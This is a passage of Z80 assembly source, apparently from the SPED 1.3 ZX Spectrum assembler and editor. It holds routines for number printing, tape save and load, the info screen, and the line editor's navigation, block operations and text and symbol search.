DEFW SALFUE
DEFM "T"
DEFW VERTAB
DEFM "Z"
DEFW ZAP
DEFB 255
HLPMNU XOR A
JP HELP
PRSPED CALL PRIMES
DEFM "SPED 1.3 EN@"
RET
PRCPYR CALL PRIMES
DEFM "# , "
DEFM " , ~,#"
DEFB 127
DEFM " CESAR"
DEFM " HERNANDEZ BANO#"
DEFM "(04/1995,07/1997,"
DEFM "09/2018)"
DEFM "#English version"
DEFM " by Tim Gilberts@"
RET
PRNUME PUSH HL
LD A,32
RST 16
POP HL
JR PRNUM
PRNUAE PUSH AF
LD A,32
RST 16
POP AF
PRNUMA LD L,A
LD H,0
PRNUM LD E,200
CALL PRNU1
RET
PRNU1 PUSH DE
PUSH HL
LD BC,55536
CALL 6442
JP 6704
PRNUM0 LD E,32
CALL PRNU1
RET
PRNU16 BIT 4,(IY-18)
JR NZ,PRHE16
LD E,48
CALL PRNU1
RET
PNUM16 BIT 4,(IY-18)
JR NZ,PRHE16
JR PRNUM
PNUM8 BIT 4,(IY-18)
JR Z,PRNUMA
PRHE8S PUSH AF
LD A,"#"
RST 16
POP AF
JR PRHEX8
PRHE16 PUSH HL
LD A,"#"
RST 16
POP HL
PUSH HL
LD A,H
CALL PRHEX8
POP HL
LD A,L
PRHEX8 PUSH AF
AND %11110000
RRCA
RRCA
RRCA
RRCA
CALL PRHE81
POP AF
AND %1111
PRHE81 ADD A,48
CP 58
JR C,PRHE82
ADD A,7
PRHE82 RST 16
RET
CALCUL LD HL,BUFEDI
CALL VAL
EX DE,HL
CALCU1 JP NC,PRNUM
BIT 4,(IY-28)
JR NZ,CALCU2
CALL PRIMES
DEFM "Syntax "
DEFM "Error!#@"
RET
CALCU2 LD A,3
JP APRERR
VERTAB LD HL,(PUNETI)
LD DE,49152
OR A
SBC HL,DE
RET Z
EX DE,HL
VERTA1 PUSH HL
VERTA2 CALL ELDAHL
INC HL
CP 255
JR Z,VERTA3
PUSH HL
RST 16
POP HL
JR VERTA2
VERTA3 LD A,32
RST 16
POP HL
PUSH HL
LD BC,7
ADD HL,BC
CALL ELDAHL
LD E,A
INC HL
CALL ELDAHL
LD D,A
INC HL
CALL ELDAHL
LD C,A
INC HL
CALL ELDAHL
LD B,A
PUSH BC
EX DE,HL
CALL PRNUM
LD A,13
RST 16
POP BC
POP HL
OR A
SBC HL,BC
RET Z
BIT 5,(IY-17)
RET NZ
LD H,B
LD L,C
JR VERTA1
NUMTEX LD A,(IY-27)
AND %00001100
RRCA
RRCA
RET
GOTEXT LD HL,BUFEDI
CALL VAL
CALL PONLI1
LD A,D
OR A
JR NZ,PRERRB
CALL NUMTEX
CP E
JR C,PRERRB
LD A,E
CALL PONTEX
JP PRBLAC
PRERRB CALL PRIMES
DEFM "Text block"
DEFM " invalid!#@"
RET
NUETEX CALL NUMTEX
CP 2
JR NZ,NUETE2
CALL PRIMES
DEFM "No more"
DEFM " blocks!#@"
RET
NUETE2 INC A
RLCA
RLCA
LD B,A
LD A,(IY-27)
AND %11110011
OR B
LD (IY-27),A
RET
SALOBJ LD HL,BUFEDI
LD DE,CABOBJ
PUSH DE
LD A,3
LD (DE),A
INC DE
LD BC,10
LDIR
CALL CALLON
EX DE,HL
LD (HL),E
INC HL
LD (HL),D
INC HL
LD (HL),C
INC HL
LD (HL),B
POP IX
PUSH DE
XOR A
LD DE,17
SCF
CALL SAVRA1
CALL PAUSGR
LD A,20
LD (NUMPAG+1),A
POP DE
LD IX,(PUNORG)
LD A,255
SCF
CALL SAVE
EI
CALL ACTPAG
JP PONBOR
SAVRA1 CALL 1222
EI
PONBOR PUSH AF
XOR A
OUT (254),A
POP AF
RET
PAUSGR LD B,20
PAUSG1 HALT
DJNZ PAUSG1
RET
CALLON LD HL,(PUNDES)
LD BC,(PUNORG)
OR A
SBC HL,BC
RET
ZAP CALL PRIMES
DEFM "Sure?@"
CALL EDIVA0
LD A,(BUFEDI)
CP "Y"
RET NZ
CALL PONLI1
ZAP2 LD A,(FLAGS2)
AND %11110000
LD (FLAGS2),A
JP ZRTEX
PRESAV CALL SITEMY
JR NZ,PRESAF
PUSH IX
PUSH DE
CALL PRIMES
DEFM "Pause mode. DELET"
DEFM "E to ignore#"
DEFM "block#@"
POP DE
POP IX
CALL ESPTEC
CP 12
JR NZ,PRESAF
CALL PRIMES
DEFM "Block ignored.#@"
RET
PRESAF LD A,255
JP SAVE
SALFUE CALL ZRTEX0
LD HL,BUFEDI
LD DE,CABFUE
PUSH DE
INC DE
LD BC,10
LDIR
POP HL
PUSH HL
XOR A
LD B,17
SALFU1 XOR (HL)
INC HL
DJNZ SALFU1
LD (HL),A
POP IX
LD DE,34
XOR A
CALL SAVRA1
CALL PAUSGR
LD IX,23755
LD DE,(LONG0)
CALL PRESAV
EI
LD HL,LONG1
LD A,22
PUSH AF
PUSH HL
SALFU2 CALL PAUSGR
POP HL
LD DE,RESERV
LD A,D
CP H
JR NZ,SALFU3
LD A,E
CP L
JR Z,SALFU0
SALFU3 LD A,(HL)
INC HL
OR (HL)
DEC HL
JR Z,SALFU0
POP AF
LD (NUMPAG+1),A
INC A
PUSH AF
LD E,(HL)
INC HL
LD D,(HL)
INC HL
PUSH HL
LD IX,49152
CALL PRESAV
EI
JR SALFU2
SALFU0 CALL ZRTEX0
CALL PONBOR
JP MENU
PRBLAC CALL PRIMES
DEFM "#Text block in "
DEFM "use:@"
CALL BACT
CALL PRNUAE
LD A,13
RST 16
RET
INFORM CALL PRSPED
CALL PRIMES
DEFM "#Todays Date: @"
LD HL,CABFUE+18
CALL PRFECH
LD A,13
RST 16
LD HL,CABFUE+1
CALL PRNOMB
CALL PRBLAC
CALL PRIMES
DEFM "Total blocks"
DEFM " in use:@"
CALL BTXTUS
INC A
CALL PRNUAE
CALL PRLBL
LD A,"0"
RST 16
LD DE,(LONG0)
LD HL,41781
CALL PRRES
CALL BTXTUS
OR A
JR Z,INFOR2
LD B,A
LD C,"1"
LD HL,LONG1
INFOR1 PUSH HL
PUSH BC
CALL PRLBL
POP BC
LD A,C
INC C
PUSH BC
RST 16
POP BC
POP HL
LD E,(HL)
INC HL
LD D,(HL)
INC HL
PUSH HL
PUSH BC
LD HL,16384
CALL PRRES
POP BC
POP HL
DJNZ INFOR1
INFOR2 LD A,13
RST 16
LD A,13
RST 16
INFOR3 CALL PRTAB
CALL PRDEB
LD A,13
RST 16
CALL PRCOD
CALL PRINEN
LD A,13
RST 16
RET
BOPRED LD HL,0
LD (23682),HL
LD B,64
BOPRE1 PUSH BC
LD A,32
RST 16
POP BC
DJNZ BOPRE1
LD (IY+73),0
RET
PRINEN CALL PRIMES
DEFM "Start:@"
LD HL,(PUNORG)
CALL PRNUME
CALL PRIMES
DEFM ", Execute:@"
LD HL,(DIRENT)
JR PRCOD3
PRCOD CALL PRIMES
DEFM "Object Code:@"
CALL CALLON
PRCOD1 CALL PRNUBY
PRCOD2 LD A,13
RST 16
RET
PRCOD3 CALL PRNUME
JR PRCOD2
PRTAB CALL PRIMES
DEFM "Symbol"
DEFM " table:@"
LD BC,49152
LD HL,(FINNDX)
OR A
SBC HL,BC
JR PRCOD1
PRDEB CALL BTXTUS
CP 2
RET Z
CALL PRIMES
DEFM "Debug"
DEFM " Table:@"
LD HL,(DIRDBI)
LD DE,49152
OR A
SBC HL,DE
JR PRCOD1
PRFECH PUSH HL
LD L,(HL)
LD H,0
CALL PRNUM
LD A,"/"
RST 16
POP HL
INC HL
PUSH HL
LD L,(HL)
LD H,0
CALL PRNUM
LD A,"/"
RST 16
POP HL
INC HL
LD L,(HL)
LD H,0
LD DE,1980
ADD HL,DE
CALL PRNUM
JR PRCOD2
PRNUBY CALL PRNUME
CALL PRIMES
DEFM " bytes@"
RET
BACT LD A,(FLAGS2)
AND 3
RET
PRRES PUSH DE
PUSH HL
LD A,":"
RST 16
POP HL
CALL PRNUME
LD A,"-"
RST 16
POP HL
JP PRNUM
PRLBL CALL PRIMES
DEFM "#Free in"
DEFM " block @"
RET
BTXTUS LD A,(FLAGS2)
RRCA
RRCA
AND 3
RET
PRNOMB PUSH HL
CALL PRIMES
DEFM "Source code"
DEFM " name: @"
POP HL
PRNOM0 LD B,10
PRNOM1 LD A,(HL)
INC HL
PUSH BC
PUSH HL
RST 16
POP HL
POP BC
DJNZ PRNOM1
RET
ZRTXTS LD HL,0
LD (LONG0),HL
LD (LONG1),HL
LD (LONG2),HL
ZRDBI LD HL,49152
LD (DIRDBI),HL
RET
LOAFUE LD A,(FLAGS2)
AND %11111100
LD (FLAGS2),A
CALL ZRTXTS
LD IX,CABOBJ
LD DE,34
CALL LOAD
LD HL,CABOBJ+1
CALL PRNOMB
CALL PRIMES
DEFM "#Last "
DEFM "build date:@"
LD HL,CABOBJ+18
CALL PRFECH
LD IX,23755
LD DE,(CABOBJ+11)
CALL LOAD2
LD HL,CABOBJ+21
LD BC,512
LOAFU1 LD E,(HL)
INC HL
LD D,(HL)
INC HL
LD A,D
OR E
JR Z,LOAFIN
INC C
LD A,(FLAGS2)
AND %11111100
OR C
LD (FLAGS2),A
CALL ACTPAG
PUSH HL
PUSH BC
LD IX,49152
CALL LOAD2
POP BC
POP HL
DJNZ LOAFU1
LOAFIN LD A,(FLAGS2)
AND %11110000
RLC C
RLC C
OR C
LD (FLAGS2),A
LD HL,CABOBJ+1
LD DE,CABFUE+1
LD BC,12
LDIR
LD HL,CABOBJ+21
LD DE,LONG1
LD BC,13
LDIR
CALL PONBOR
XOR A
JP PONTEX
LOAD2 LD A,255
SCF
CALL LOAD0
EI
JR NC,LOAERR
RET
LOAD XOR A
SCF
INC D
EX AF,AF'
DEC D
DI
CALL 1378
EI
RET C
LOAERR CALL PRIMES
DEFM "#Load ERROR! "
DEFM "(Rewind Tape?)@"
CALL PONBOR
CALL ZAP2
JP MENU
ACTPAG CALL PAGTEX
LD (NUMPAG+1),A
RET
PAGTEX LD A,(FLAGS2)
AND 3
JR NZ,PAGTE1
LD A,16
RET
PAGTE1 ADD A,21
RET
SLDIR LD (NUMPAG+1),A
PUSH AF
CALL ILDAHL
LD LX,A
POP AF
EX AF,AF'
LD (NUMPAG+1),A
EX AF,AF'
PUSH AF
LD A,LX
EX DE,HL
CALL ILDHLA
POP AF
EX DE,HL
INC HL
INC DE
DEC BC
PUSH AF
LD A,B
OR C
JR Z,SLDIR0
POP AF
JR SLDIR
SLDIR0 POP AF
JP ACTPAG
PRNUL0 LD HL,262
LD (23682),HL
PRNULI LD HL,(LINCUR)
JP PRNUM0
PRMEMO LD HL,283
LD (23682),HL
LD HL,0
LD DE,(FINTEX)
OR A
SBC HL,DE
JP PRNUM0
PRNUTE LD HL,31
LD (23682),HL
CALL BACT
JP PRNUMA
CADILI EX DE,HL
LD BC,1
LD HL,(TEXINI)
LD IX,(FINTEX)
CALL CADIL5
RET C
JP CDIL0
CADIL4 LD IX,(FINTEX)
CADIL5 LD A,HX
CP H
JR NZ,CADIL6
LD A,LX
CP L
JR NZ,CADIL6
SCF
RET
CADIL6 OR A
RET
PRLIN RES 4,(IY-27)
LD BC,(DIREDI)
LD A,B
OR C
JR Z,PRLI00
LD H,B
LD L,C
JR PRLIN0
PRLI00 CALL CADILI
JR NC,PRLIN0
SET 4,(IY-27)
RET
PRLIN0 LD C,0
PRLIN1 CALL ILDAHL
INC HL
CP 13
JR Z,PRLIFI
BIT 7,A
JR NZ,PRLIN2
PRLI11 INC C
PUSH BC
PUSH HL
CALL PRCAR
POP HL
POP BC
LD A,C
CP 32
JR NZ,PRLIN1
PUSH HL
LD HL,(TEMP01)
DEC HL
LD (TEMP01),HL
DEC C
POP HL
JR PRLIN1
PRLIN2 PUSH AF
LD A,C
CP 7
JR NC,PRLIN3
LD B,7
JR PRLIN4
PRLIN3 CP 12
JR NC,PRLI33
LD B,12
PRLIN4 LD A,C
CP B
JR Z,PRLIN5
INC C
PUSH BC
PUSH HL
LD A,32
CALL PRCAR
POP HL
POP BC
JR PRLIN4
PRLI33 LD B,C
INC B
JR PRLIN4
PRLIN5 POP AF
RES 7,A
JR PRLI11
PRLIFI LD A,C
CP 32
JR Z,PRLIF0
INC C
PUSH BC
PUSH HL
LD A,32
CALL PRCAR
POP HL
POP BC
JR PRLIFI
PRLIF0 BIT 5,(IY-28)
RET Z
LD HL,(TEMP01)
DEC HL
LD (TEMP01),HL
LD A,13
JP PRCAR
PRCAR JP 16
PONLIB PUSH AF
LD HL,BUFEDI
LD (TEMP01),HL
LD HL,PONCAR
LD (PRCAR+1),HL
LD HL,(LINCUR)
SET 5,(IY-28)
CALL PRLIN
RES 5,(IY-28)
LD HL,16
LD (PRCAR+1),HL
CALL PONCUR
CALL PRIEST
POP AF
JP EDIT23
PONCAR LD HL,(TEMP01)
LD (HL),A
INC HL
LD (TEMP01),HL
RET
PRPAG LD HL,512
LD (23682),HL
LD HL,(DIRUP)
LD A,H
OR L
JR NZ,PRP_00
LD HL,(LINEA)
CALL CADILI
LD (DIRUP),HL
JR C,PRPAG0
PRP_00 CALL PRLIN0
LD BC,(LINEA)
PRPAG2 LD A,(23683)
CP 23
JR Z,PRPAG9
LD DE,(FINTEX)
CALL CODEHL
JR Z,PRPAG0
PRPAG3 PUSH BC
CALL PRLIN0
POP BC
INC BC
JR PRPAG2
PRPAG9 LD DE,(FINTEX)
CALL CODEHL
JR Z,PRPAG0
PRPAG8 LD BC,65535
PRPAG0 LD (ULTLIN),BC
PRPA00 LD A,(23683)
CP 23
RET Z
LD B,32
PRPA01 PUSH BC
LD A,32
RST 16
POP BC
DJNZ PRPA01
JR PRPA00
PREDIC LD A,32
CALL PONCOL
LD HL,23264
LD DE,23265
LD BC,31
LD (HL),32
LDIR
LD HL,0
LD (23682),HL
CALL PRIMES
DEFM "Current text:"
DEFM " @"
LD HL,CABFUE+1
CALL PRNOM0
PREDI2 CALL PRIMES
DEFM "#Line: "
DEFM " Free Memory:@"
JP PRIEST
BORLIN CALL CADILI
RET C
BORLI0 PUSH HL
CALL DIFIL0
POP DE
RET C
SBC HL,DE
LD B,H
LD C,L
EX DE,HL
JP BORMEM
INSLIN CALL CADILI
INSLI0 LD BC,0
PUSH HL
LD HL,BUFEDI
INSL00 LD A,(HL)
INC HL
INC BC
CP 13
JR NZ,INSL00
POP HL
PUSH HL
PUSH BC
CALL CREMEM
LD HL,BUFEDI
POP BC
POP DE
CALL PAGTEX
EX AF,AF'
LD A,17
JP SLDIR
DIFILI CALL CADILI
RET C
DIFIL0 LD BC,(FINTEX)
LD A,B
CP H
JR NZ,DIFIL1
LD A,C
CP L
JR NZ,DIFIL1
SCF
RET
DIFIL1 CALL ILDAHL
INC HL
CP 13
JR NZ,DIFIL1
OR A
RET
LINNU0 CALL LINNU9
JP INSLI0
LINNUE CALL LINNU9
JP INSLIN
LINNU9 LD A,13
LD (BUFEDI),A
RET
CONVLI LD HL,BUFEDI+31
LD B,31
CONVL0 DEC HL
LD A,(HL)
CP 32
JR NZ,CONVL1
DJNZ CONVL0
JR CONVL2
CONVL1 INC HL
CONVL2 LD (HL),13
LD HL,BUFEDI
LD DE,BUFEDI
XOR A
PUSH AF
LD A,(HL)
CP ";"
JR NZ,CONVL3
POP AF
RET
CONVL3 LD A,(HL)
CP 13
JR Z,CONVFI
CP 32
JR Z,CONVL4
LDI
JR CONVL3
CONVL4 POP AF
CP 2
JR NZ,CONVL5
PUSH AF
LDI
JR CONVL3
CONVL5 INC A
PUSH AF
CONVL6 LD A,(HL)
INC HL
CP 32
JR Z,CONVL6
DEC HL
SET 7,A
LD (HL),A
JR CONVL3
CONVFI POP AF
LDI
RET
EDICIO CALL CLS
SET 3,(IY-28)
LD HL,(LINEA)
LD (LINCUR),HL
LD HL,512
LD (CX),HL
CALL ZRDBI
CALL ZRLIN
LD (DIRUP),HL
LD (DIREDI),HL
LD (LNETIN),HL
LD (LNCAIN),HL
EDICI0 CALL PREDIC
CALL PRMEMO
CALL PRNUTE
EDICI1 CALL PRPAG
EDICI2 CALL PRNUL0
EDICI3 CALL PONCUR
LD (IY-50),0
EDICI4 LD A,(23560)
EDIC44 OR A
JR Z,EDICI4
CP 8
JR Z,EDIC8
CP 9
JP Z,EDIC9
CP 10
JP Z,EDIC10
CP 11
JP Z,EDIC11
CP 14
JR Z,EDIC14
CP 175
JR Z,EDICIN
CP 184
JP Z,EDICI1
CP 199
JP Z,EDCSQ
CP 128
JP NC,EDICSP
CALL PONLIB
EDIC45 JP C,EDICES
CALL ACTLIN
LD HL,(LINCUR)
INC HL
LD (LINCUR),HL
LD HL,(DIREDI)
CALL DIFIL0
LD (DIREDI),HL
CALL LINNU0
XOR A
LD (CX),A
LD A,(CY)
CP 22
JR NZ,EDIC46
CALL POSILI
JR EDIC47
EDIC46 CALL BORCUR
INC A
LD (CY),A
EDIC47 CALL PRPAG
CALL PRNUL0
CALL LIMBUF
CALL EDITA1
JR EDIC45
EDIC8 LD A,(CX)
OR A
JR Z,EDICI3
CALL BORCUR
DEC A
EDIC88 LD (CX),A
JP EDICI2
EDICIN LD A,(FLAGS1)
XOR 4
LD (FLAGS1),A
RES 0,(IY+7)
JR EDI_14
EDIC14 LD A,(23617)
XOR 1
LD (23617),A
EDI_14 CALL PRIEST
JP EDICI3
EDIC9 LD A,(CX)
CP 31
JP Z,EDICI3
CALL BORCUR
INC A
JR EDIC88
EDIC11 LD A,(CY)
CP 2
JR Z,EDI111
CALL BORCUR
DEC A
LD (CY),A
LD HL,(LINCUR)
DEC HL
LD (LINCUR),HL
JP EDICI2
EDI111 LD HL,(LINEA)
LD A,H
OR A
JR NZ,EDI112
LD A,L
CP 1
JP Z,EDICI3
EDI112 DEC HL
LD (LINEA),HL
LD (LINCUR),HL
CALL BORCUR
LD BC,(TEXINI)
LD HL,(DIRUP)
DEC HL
EDI113 LD A,H
CP B
JR NZ,EDI114
LD A,L
CP C
JR Z,EDI115
EDI114 DEC HL
CALL ILDAHL
CP 13
JR NZ,EDI113
INC HL
EDI115 LD (DIRUP),HL
JP EDICI1
EDIC10 LD HL,(ULTLIN)
LD A,H
CP 255
JR NZ,EDI100
LD HL,(LINCUR)
INC HL
LD (LINCUR),HL
LD A,(CY)
CP 22
JR Z,EDI101
EDI103 CALL BORCUR
INC A
LD (CY),A
JP EDICI2
EDI101 CALL POSILI
JP EDICI1
EDI100 LD DE,(LINCUR)
CALL CODEHL
JP Z,EDICI2
EDI102 LD HL,(LINCUR)
INC HL
LD (LINCUR),HL
LD A,(CY)
JR EDI103
EDICSP RES 0,(IY+7)
CALL BORCUR
PUSH AF
CALL PRIEST
POP BC
JR EDICE0
EDICES LD HL,0
LD (DIREDI),HL
CP 184
JP Z,EDICI1
PUSH AF
CALL ACTLIN
POP BC
LD HL,0
LD (DIREDI),HL
EDICE0 LD HL,TAEDIC
EDICE1 LD A,(HL)
INC HL
CP 255
JP Z,EDICI3
CP B
JR Z,EDICE2
INC HL
INC HL
JR EDICE1
EDICE2 LD C,(HL)
INC HL
LD B,(HL)
LD HL,(LINCUR)
PUSH BC
RET
TAEDIC DEFB 199
DEFW EDCSQ
DEFB 11
DEFW EDIC11
DEFB 10
DEFW EDIC10
DEFB 172
DEFW EDCSI
DEFB 205
DEFW EDCSD
DEFB 173
DEFW EDCEP
DEFB 194
DEFW EDCEU
DEFB 196
DEFW EDCEB
DEFB 224
DEFW EDCEC
DEFB 225
DEFW EDCEV
DEFB 185
DEFW EDCEX
DEFB 227
DEFW EDCEA
DEFB 178
DEFW EDCEQ
DEFB 192
DEFW EDCEL
DEFB 228
DEFW EDCED
DEFB 180
DEFW EDCEE
DEFB 176
DEFW EDCEJ
DEFB 188
DEFW EDCEF
DEFB 189
DEFW EDCEG
DEFB 166
DEFW EDCEN
DEFB 177
DEFW EDCEK
DEFB 187
DEFW HLPEDI
DEFB 255
ACTLIN CALL CONVLI
LD HL,(DIREDI)
LD A,H
OR L
JR NZ,ACTLI0
LD HL,(LINCUR)
CALL CADILI
LD (DIREDI),HL
ACTLI0 PUSH HL
CALL BORLI0
POP HL
JP INSLI0
HLPEDI LD A,1
CALL HELP
JP EDICIO
EDCSQ LD HL,(FINTEX)
LD BC,(TEXINI)
OR A
SBC HL,BC
LD B,H
LD C,L
LD HL,(PUNTEX)
LD (HL),C
INC HL
LD (HL),B
CALL CLS
JP MENU
EDCSI CALL LINNUE
EDCSI0 JP EDICI1
EDCSD PUSH HL
CALL ZRLIN
POP HL
CALL BORLIN
CALL CMPFIN
JR EDCSI0
EDCEP LD (LINP),HL
LD HL,0
LD (LINU),HL
RES 6,(IY-27)
JP EDICI3
EDCEU LD DE,(LINP)
PUSH HL
OR A
SBC HL,DE
POP HL
JR NC,EDCEU1
EX DE,HL
LD (LINP),DE
EDCEU1 LD (LINU),HL
JP EDICI3
EDCEE LD HL,1
LD (LNETIN),HL
JR EDCED1
EDCEJ LD HL,(LNETIN)
LD A,H
OR L
JP Z,EDICI3
INC HL
LD (LNETIN),HL
JR EDCED0
EDCED LD HL,(LINCUR)
LD (LNETIN),HL
EDCED1 CALL BOPRED
CALL PONNEG
CALL PRIMES
DEFM "Search for"
DEFM " Symbol?:@"
CALL EDVA0C
PUSH HL
LD A,32
LD BC,31
CPIR
DEC HL
LD (HL),255
POP HL
LD DE,BUFETI
LD BC,31
LDIR
EDCED0 LD HL,(LNETIN)
PUSH HL
CALL CADILI
POP BC
JP C,EDICI0
LD DE,BUFETI
EDCED2 PUSH DE
PUSH HL
PUSH BC
CALL CMPETI
POP BC
POP HL
POP DE
JR Z,EDCEDF
PUSH BC
CALL DIFIL0
POP BC
JR C,EDCED3
INC BC
JR EDCED2
EDCED3 CALL BOPRED
CALL PRIMES
DEFM "Symbol not found@"
CALL ZRLNET
JP PRBLN0
EDCEDF LD (DIRUP),HL
LD (LINCUR),BC
LD (LINEA),BC
LD (LNETIN),BC
CALL ZRCY
JP EDICI0
EDCEG LD HL,1
LD (LNCAIN),HL
JR EDCEF1
EDCEN LD HL,(LNCAIN)
LD A,H
OR L
JP Z,EDICI3
INC HL
LD (LNCAIN),HL
JR EDCEF0
EDCEF LD HL,(LINCUR)
LD (LNCAIN),HL
EDCEF1 CALL BOPRED
CALL PONNEG
CALL PRIMES
DEFM "Text to find?:@"
CALL EDVA0C
PUSH HL
LD HL,BUFEDI+31
EDCE_1 DEC HL
LD A,(HL)
CP 32
JR Z,EDCE_1
INC HL
LD (HL),255
POP HL
LD DE,BUFCAD
LD BC,31
LDIR
EDCEF0 LD HL,(LNCAIN)
PUSH HL
CALL CADILI
POP BC
JP C,EDICI0
PUSH HL
LD DE,BUFCAD
LD IX,(FINTEX)
EDCEF2 PUSH DE
PUSH HL
PUSH BC
PUSH IX
CALL CMPCAD
POP IX
POP BC
POP HL
POP DE
JR Z,EDCEFF
CALL ILDAHL
INC HL
CP 13
JR NZ,EDCEF2
CALL CADIL5
JR C,EDCEF3
INC SP
INC SP
PUSH HL
INC BC
JR EDCEF2
EDCEF3 POP HL
CALL BOPRED
CALL PRIMES
DEFM "Text not found@"
CALL ZRLNCA
JP PRBLN0
EDCEFF POP HL
LD (DIRUP),HL
LD (LINCUR),BC
LD (LINEA),BC
LD (LNCAIN),BC
CALL ZRCY
JP EDICI0
CMPETI CALL ILDAHL
CP 13
JR Z,CMPETF
CP 128
JR NC,CMPETF
LD C,A
LD A,(DE)
CP 255
RET Z
CP C
RET NZ
INC HL
INC DE
JR CMPETI
CMPETF LD A,(DE)
CP 255
RET
CMPCAD CALL ILDAHL
RES 7,A
CP 13
JR Z,CMPETF
LD C,A
LD A,(DE)
CP 255
RET Z
CP C
RET NZ
INC HL
INC DE
JR CMPCAD
EDCEL CALL BOPRED
CALL PONNEG
CALL PRIMES
DEFM "Goto line?:@"
CALL EDVA0C
CALL VAL
LD H,D
LD L,E
LD A,H
OR L
JP Z,EDICI0
CALL CADILI
JR NC,EDCEL0
CALL ZRDRUP
DEC BC
JR EDCEL1
EDCEL0 LD (DIRUP),HL
EDCEL1 LD (LINCUR),BC
LD (LINEA),BC
CALL ZRCY
JP EDICI0
EDCEC CALL COMBLO
JP Z,PRBLNO
SET 6,(IY-27)
CALL CALLGB
CALL CPYBUF
JP EDICI3
EDCEB CALL COMBLO
JP Z,PRBLNO
CALL CALLGB
EDCEB0 CALL ZRCUR
LD HL,(DIRBLO)
LD BC,(LONGBL)
CALL BORMEM
CALL ZRLIN
CALL CMPFIN
CALL ZRDRUP
CALL ZRCY
JP EDICI0
EDCEX CALL COMBLO
JP Z,PRBLNO
SET 6,(IY-27)
CALL CALLGB
CALL CPYBUF
JR EDCEB0
EDCEQ LD HL,(LINEA)
LD A,H
OR A
JR NZ,EDCEQ0
LD A,L
CP 1
JP Z,EDICI3
EDCEQ0 PUSH HL
POP IX
LD HL,(DIRUP)
LD DE,(TEXINI)
DEC HL
LD B,21
EDCEQ1 CALL CODEHL
JR NZ,EDCEQ2
DEC IX
EDCEQQ LD (LINCUR),IX
LD (LINEA),IX
LD (DIRUP),HL
CALL ZRCY
JP EDICI0
EDCEQ2 DEC HL
CALL ILDAHL
CP 13
JR NZ,EDCEQ1
DEC IX
DJNZ EDCEQ1
INC HL
JR EDCEQQ
CODEHL LD A,D
CP H
RET NZ
LD A,E
CP L
RET
EDCEA LD IX,(LINEA)
LD HL,(DIRUP)
LD DE,(FINTEX)
LD B,21
EDCEA1 CALL CODEHL
JR NZ,EDCEA2
EDCEAB DEC IX
LD (LINCUR),IX
LD (LINEA),IX
CALL ZRDRUP
EDCEAA CALL ZRCY
JP EDICI0
EDCEA2 INC IX
EDCEA3 CALL DIFIL1
DJNZ EDCEA1
CALL CODEHL
JR Z,EDCEAB
LD (LINCUR),IX
LD (LINEA),IX
LD (DIRUP),HL
JR EDCEAA
EDCEV CALL CADILI
BIT 6,(IY-27)
JR Z,PRBFNO
LD BC,(LONGBL)
PUSH HL
CALL CREMEM
LD HL,49152
POP DE
LD BC,(LONGBL)
CALL PAGTEX
EX AF,AF'
LD A,19
CALL SLDIR
JP EDICI0
PRBLNO CALL BOPRED
CALL PRIMES
DEFM "No block"
DEFM " defined@"
PRBLN0 CALL ESPTEC
JP EDICI0
PRBFNO CALL BOPRED
CALL PRIMES
DEFM "No block in"
DEFM " buffer@"
JR PRBLN0
EDCEK CALL BOPRED
CALL PONNEG
CALL PRIMES
DEFM "Calculate "
DEFM " expression?:@"
CALL EDVA0C
CALL BOPRED
CALL CALCUL
CALL ESPTEC
JP EDICI0
ESPTEC LD (IY-50),0
ESPTE1 LD A,(23560)
OR A
JR Z,ESPTE1
RET
COMBLO LD HL,(LINP)
LD A,H
OR L
RET Z
LD HL,(LINU)
LD A,H
OR L
RET
POSILI LD HL,(LINEA)
INC HL
LD (LINEA),HL
LD HL,(DIRUP)
PUSH AF
CALL DIFIL0
POP AF
LD (DIRUP),HL
RET
LIMBUF LD HL,BUFEDI
LD DE,BUFEDI+1
LD BC,31
LD (HL),32
LDIR
LD (HL),13
RET
BORMEM PUSH HL
ADD HL,BC
EX DE,HL
LD HL,(FINTEX)
PUSH HL
OR A
SBC HL,BC
LD (FINTEX),HL
POP HL
OR A
SBC HL,DE
LD B,H
LD C,L
EX DE,HL
PUSH HL
PUSH BC
CALL PRMEMO
POP BC
POP HL
POP DE
LD A,B
OR C
RET Z
JP ILDIR
CREMEM PUSH HL
LD HL,(FINTEX)
PUSH HL
POP IX
ADD HL,BC
LD (FINTEX),HL
EX DE,HL
DEC DE
POP BC
PUSH IX
POP HL
OR A
SBC HL,BC
LD B,H
LD C,L
PUSH IX
PUSH BC
PUSH DE
CALL PRMEMO
POP DE
POP BC
POP HL
DEC HL
LD A,B
OR C
RET Z
JP ILDDR
ZRLIN LD HL,0
LD (LINP),HL
LD (LINU),HL
RET
CMPFIN LD HL,(LINCUR)
CALL CADILI
RET NC
LD HL,(FINTEX)
LD A,13
CALL ILDHLA
INC HL
LD (FINTEX),HL
JP PRMEMO
ZRCUR LD HL,(LINP)
LD (LINCUR),HL
LD (LINEA),HL
RET
CPYBUF LD HL,(DIRBLO)
LD BC,(LONGBL)
LD DE,49152
LD (PUNETI),DE
LD (FINNDX),DE
LD A,19
EX AF,AF'
CALL PAGTEX
JP SLDIR
ZRDRUP LD HL,0
LD (DIRUP),HL
RET
PONTEX LD B,A
LD A,(IY-27)
AND %11111100
OR B
LD (IY-27),A
LD A,B
CALL ACTPAG
LD A,B
PONPNT OR A
JR NZ,PONPN1
LD HL,LONG0
LD DE,23755
JR PONPN0
PONPN1 CP 1
JR NZ,PONPN2
LD HL,LONG1
JR PONPN3
PONPN2 LD HL,LONG2
PONPN3 LD DE,49152
PONPN0 LD (PUNTEX),HL
LD (TEXINI),DE
LD (ADIREC),DE
LD A,(HL)
INC HL
LD H,(HL)
LD L,A
ADD HL,DE
LD (FINTEX),HL
RET
ZRTEX CALL ZRTXTS
ZRTEX0 XOR A
JP PONTEX
PONNEG LD A,4
PONCOL LD HL,22528
LD DE,22529
LD BC,63
LD (HL),A
LDIR
RET
ZRCY LD A,2
LD (CY),A
RET
CALLGB LD HL,(LINU)
CALL DIFILI
PUSH HL
LD HL,(LINP)
CALL CADILI
LD (DIRBLO),HL
EX DE,HL
POP HL
OR A
SBC HL,DE
LD (LONGBL),HL
RET
ZRLNET LD HL,0
LD (LNETIN),HL
RET
ZRLNCA LD HL,0
LD (LNCAIN),HL
RET
EDVA0C RES 3,(IY-28)
LD A,(CY)
PUSH AF
CALL EDIVA0
SET 3,(IY-28)
POP AF
LD (CY),A
RET
PONLI1 LD HL,1
LD (LINEA),HL
RET
INIETI RES 6,(IY-27)
XOR A
LD HL,49152
CALL ELDHLA
INC HL
LD A,255
CALL ELDHLA
LD HL,49152+9
LD A,11
CALL ELDHLA
INC HL
LD A,192
CALL ELDHLA
INC HL
LD A,254
CALL ELDHLA
